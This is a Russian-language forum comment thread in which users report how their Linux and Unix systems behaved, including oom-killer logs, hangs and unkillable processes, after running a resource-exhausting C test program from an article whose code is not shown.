      Да, программа просто завершается сразу же. Что подозрительно, видно что-то не поддерживается, я в таком не спец.
  • 0
    Хочу проверить на HP-UX Solaris10
    • –1
      На HP-UX ругается на ошибки в скрипте начиная с 4й строки, т.к. скорее всего нет эти библиотек по этим путям

      #include
      #include

      • +1
        а это не скрипт, это исходник
        скомпильте и попробуйте

        а плюс Вы бы определились HP-UX или Solaris 10
        • 0
          Тупанул, утро было тяжелое.
      • 0
        посмотрите в /usr/include/sys/
  • 0
    Debian GNU/Linux squeeze/sid
    2.6.32-5-686-bigmem SMP
    запустил a.out от обычного юзера
    oom-killer расстрелял всех, до кого дотянулся )

    Nov 26 10:13:42 devil kernel: [169044.398859] a.out invoked oom-killer: gfp_mask=0x40d0, order=0, oom_adj=0
    Nov 26 10:13:42 devil kernel: [169044.416613] a.out invoked oom-killer: gfp_mask=0x40d0, order=0, oom_adj=0
    Nov 26 10:13:44 devil kernel: [169047.385224] a.out invoked oom-killer: gfp_mask=0x40d0, order=0, oom_adj=0
    Nov 26 10:13:46 devil kernel: [169047.400595] a.out invoked oom-killer: gfp_mask=0x40d0, order=0, oom_adj=0
    Nov 26 10:13:52 devil kernel: [169047.416099] a.out invoked oom-killer: gfp_mask=0x40d0, order=0, oom_adj=0
    Nov 26 10:13:54 devil kernel: [169047.471240] postgres invoked oom-killer: gfp_mask=0xd0, order=1, oom_adj=0
    Nov 26 10:13:55 devil kernel: [169047.723775] sshd invoked oom-killer: gfp_mask=0xd0, order=1, oom_adj=-17
    Nov 26 10:13:57 devil kernel: [169047.775361] nginx invoked oom-killer: gfp_mask=0xd0, order=1, oom_adj=0
    Nov 26 10:13:58 devil kernel: [169047.792686] nginx invoked oom-killer: gfp_mask=0xd0, order=1, oom_adj=0
    Nov 26 10:13:58 devil kernel: [169047.904589] sshd invoked oom-killer: gfp_mask=0xd0, order=1, oom_adj=-17
    Nov 26 10:13:58 devil kernel: [169049.692120] heart invoked oom-killer: gfp_mask=0xd0, order=1, oom_adj=0
    Nov 26 10:13:58 devil kernel: [169050.487484] couchdb invoked oom-killer: gfp_mask=0xd0, order=1, oom_adj=0
    Nov 26 10:13:58 devil kernel: [169050.824301] khelper invoked oom-killer: gfp_mask=0xd0, order=1, oom_adj=0
    Nov 26 10:14:01 devil kernel: [169051.256073] heart invoked oom-killer: gfp_mask=0xd0, order=1, oom_adj=0
    Nov 26 10:14:02 devil kernel: [169051.488361] couchdb invoked oom-killer: gfp_mask=0xd0, order=1, oom_adj=0

    но консоль жива, рут заходит…
    • 0
      на 6м редхате тоже от рук oomkiller-а погибло все полезное, и дальше kswapd и зловред делили между собой cpu
  • 0
    Linux 2.6.31 (Ubuntu 10.04) — работает частично (Ubuntu замущена под VirtualBox, возможно это как-то повлияло).
    Запущенный процесс загружает на 100% одно ядро, не убивается по kill и kill -9, но система продолжает работать.
  • 0
    Какой интересный тег у статьи…
    • +1
      «Ядра — чистый изумруд» :)
  • 0
    LFS-20101029 2.6.36

    viktprog[ ~ ]$ ./fail
    [ 637.380714] VFS: file-max limit 25112 reached
    viktprog[ ~ ]$

    Под рутом так же завершается почти сразу
  • 0
    А что значит не получается завершить с помощью kill? Вылезает какая-то ошибка или системный вызов блокируется?
    • 0
      какой системный вызов? М… (ощущение полного непонимания происходящего).

      kill посылает сигнал. Он его посылает, даже если сигнал по каким-то причинам до процесса не доходит. Это асинхронный вызов и он всегда успешен.
  • 0
    Gentoo не hardened с сегодняшними (утренними) апдейтами. Отрабатывает за пару секунд и, почему-то, отрубает клавиатуру в wmii o.O От рута — то же.
  • 0
    Slackware 13.1 2.6.35 x86 — не вешает. Проц грузит. Не убивается.
  • 0
    $ uname -a
    Linux 2.6.37-6-generic
    $ lsb_release -a
    No LSB modules are available.
    Distributor ID: Ubuntu
    Description: Ubuntu natty (development branch)
    Release: 11.04
    Codename: natty

    $ grep model\ name /proc/cpuinfo
    model name: Genuine Intel® CPU T2250 @ 1.73GHz
    model name: Genuine Intel® CPU T2250 @ 1.73GHz

    $ grep MemTotal /proc/meminfo
    MemTotal: 1025132 kB

    Проц немного грузит, но музыка дальше играет, иногда прерывается. Работать возможно, но тормозно очень.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.